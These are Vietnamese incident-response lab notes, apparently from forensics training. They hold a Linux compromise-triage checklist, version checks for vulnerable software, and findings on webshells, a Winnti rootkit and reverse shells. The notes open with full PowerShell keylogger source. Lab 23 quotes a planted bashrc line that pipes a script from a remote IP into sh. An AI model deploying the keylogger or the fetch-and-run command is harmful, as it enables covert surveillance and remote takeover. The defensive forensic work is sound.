public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
#Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
# notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
tiến trình thực thi keylogger trên Procexp Lab 20
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run với giá trị là file thực thi không có chữ ký C:\Users\hunter\AppData\Roaming\WPDNSE\svchost.exe
Syscheck ra kết quả là tệp sethc.exe không được ký
Linux checklist
Copy #Rà soát Linux
#Rà soát tiến trình:
ps -eo user,pid,ppid,pcpu,pmem,comm,lstart,etime,args | more # getlog
ps -ef | more
readlink -f /proc/*/exe
#Rà soát kết nối mạng:
netstat -ntlpu | more
netstat -nap | more # getlog
#Rà Preload
echo $LD_PRELOAD
ls -latr /etc/ld.so.preload
#Rà soát autoruns:
ls -latr /etc/cron* #-> schedule
ls -latr /var/spool/cron/crontabs
#-> xem exported lib .so -> check library load lên
ls -latr /home/*/.bashrc
ls -latr /home/*/.bash_profile
ls -latr /home/*/.bash_logout
ls -latr /etc/profile
ls -latr /etc/environment
ls -latr /etc/bashrc
ls -latr /etc/bash.bashrc
ls -latr /etc/bash.bash_logout
ls -latr /etc/init.d/ | more
ls -latr /etc/rc*.d/ | more
ls -latr /etc/ssh/sshrc
ls -latr /etc/xdg/lxsession/Lubuntu/autostart
ls -latr /usr/share/autostart
ls -latr /etc/xdg/xfce4/xinitrc
#Rà soát users:
cat /etc/passwd
cat /etc/sudoers
#Rà soát command history:
cat /var/log/cmdlog.log | more # getlog
cat /home/*/.bash_history | more # getlog
cat /home/*/.sh_history | more
cat /home/*/.vi_history | more
cat /var/log/secure* | grep Accepted |more # getlog
last|more
lastlog
#Rà soát thư mục quan trọng:
ls -latr /tmp | more
ls -latr /var/run | more
#Rà soát tunnel :
iptables -L -vn -t nat
#Kiểm tra server endpoint :
service salt-minion status
#Kiểm tra ConnectWise /etc/init.d/screenconnect
service screenconnect status
#Máy có cài libpcap:
#Có thư mục
ls -latr /usr/include/pcap
#- Có process đang load thư viện libpcap:
find /proc/ -iname "libpcap.so"
#=>> output sẽ có pid của process đang load libpcap.so
#Lưu ý Winnti
stat /lib/libxselinux
stat /lib/libxselinux.so
stat /lib64/libxselinux
stat /lib64/libxselinux.so
ls -latr /etc/ld.so.preload
#Lấy log audit
cat /var/log/audit/audit.log|more # getlog
#Bổ sung trong trường hợp cần rà user root, ...
ls -latr /etc/
ls -latr /usr/sbin
ls -latr /usr/bin
ls -latr /root/.bashrc
ls -latr /root/.profile
ls -latr /root/.bash_profile
ls -latr /root/.bash_logout
cat /root/.bash_history | more
#Phụ lục:
#Copy file :
Scp from to
Example: scp 1.txt user@ip:2.txt
#Lấy full đường dẫn process từ pid:
readlink –f /proc/pid/exe
#Lấy hash 1 file:
md5sum /path
#Nén zip
zip -P password -r filename.zip foldername
#Tạo thư mục sample
mkdir folder
cp -i {Pathfile} {Pathfolder} - đệ qui folder-folder dùng -Ri
mv -i {Pathfile} {Pathfolder} - đệ qui folder-folder dùng -Ri
#Cleanup
rm -rf file/folder
kill PID
#Check Lỗ hổng
# Check opatch
# Các phiên bản chưa cập nhật bản vá (CVE-2018-2879 ): 11.1.2.3.0, 12.2.1.3.0 hoặc thấp hơn
$Oracle_Home/OPatch/opatch lsinventory -detail
# Check primefaces
# version trả về < 5.3.8 nếu là 5.3.* hoặc < 5.2.21 cho các trường hợp khác.
cat /proc/*/maps | grep -e "primefaces-5.*.jar"
# Check RMI
# Check cac ung dung java su dung mmserver -> co nguy co mac lo hong rmi
ps -ef|grep java|grep mmserver
# Check Solr
# Kiểm tra version trả về bị lỗi nếu nằm trong khoảng:
# o 5.5.0 đến 5.5.4
# o 6.0.0 đến 6.6.1
# o 7.0.0 đến 7.0.1
cat /proc/*/maps | grep -e "solr-core-.*.jar"
# Spring
# Kiem tra tien trinh java co su dung Spring Boot -> xac dinh version
# Spring Boot Trước 1.3.1
# Trước 1.2.8 1.3.1 trở đi
# 1.2.8 trở đi
# 2 Spring Oauth Từ 2.0.0 tới 2.0.9
# Từ 1.0.0 tới 1.0.5 2.0.10 trở đi
cat /proc/*/maps | grep spring-boot
# stuts
# Các ứng dụng có sử dụng bản cũ hơn hai phiên bản 2.5.17 và 2.3.35 có nguy cơ mắc lỗ hổng
cat /proc/*/maps|grep "struts2-core" | grep -v -E "2.5.17|2.3.35"
Lab 21
Khi thực thi lệnh luôn để lại alert, khả năng LD_PRELOAD đã bị lạm dụng
Không thể cat, nhưng dùng vi có thể xem được nội dung
Phát hiện Rootkit Winnti
Copy 06c20c95ca7a0e9a2c94ee738e150ce2 /lib64/libxselinux.so
Thor Lite phát hiện webshell tại
/var/www/html/simple-php-website/css/404.php
/var/www/html/simple-php-website/css/template.php
Có thể tìm thấy mã nguồn tại github
Webshell cho phép kẻ tấn công kiểm soát hệ thống từ xa bằng cách thực hiện các lệnh hệ thống, tải lên tệp, duyệt thư mục, và thực hiện các truy vấn SQL
Lab 22
Dấu hiệu reverse shell qua Netcat
Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/js/app.jsp
Có thể tìm thấy webshell này trên github
Webshell này hoạt động như một proxy ngầm cho phép kẻ tấn công sử dụng máy chủ bị xâm nhập như một trạm trung gian để kết nối đến các hệ thống khác trong mạng nội bộ mà từ bên ngoài không thể truy cập trực tiếp
Lab 23
Khi SSH vào Server, xuất hiện hiển thị lạ
Khi ra soát, phát hiện /etc/bashrc được sửa đổi gần đây
Nội dung thêm vào:
Copy # vim:ts=4:sw=4
curl -s -L http://217.12.221.12/Ci.sh|sh
Đoạn mã tải về thực thi một bash shell từ một nguồn không rõ bất kỳ khi nào người dùng mở một shell
Lab 24
Cứ một chốc lại nhận được thông báo trên terminal về mail
Khi cat nội dung thì biết nó được gửi từ cron daemon, thông báo lỗi về một tác vụ crontab
Khi rà soát có thể phát hiện command line trong /var/log/cmd.log
Đoạn mã này sẽ thêm một crontab chạy mỗi phút, tạo một revershell trên port 443
Thor Lite phát hiện webshell tại /var/lib/tomcat/webapps/muabannhadat/web/PostThue.jsp
có thể tìm thấy webshell tại github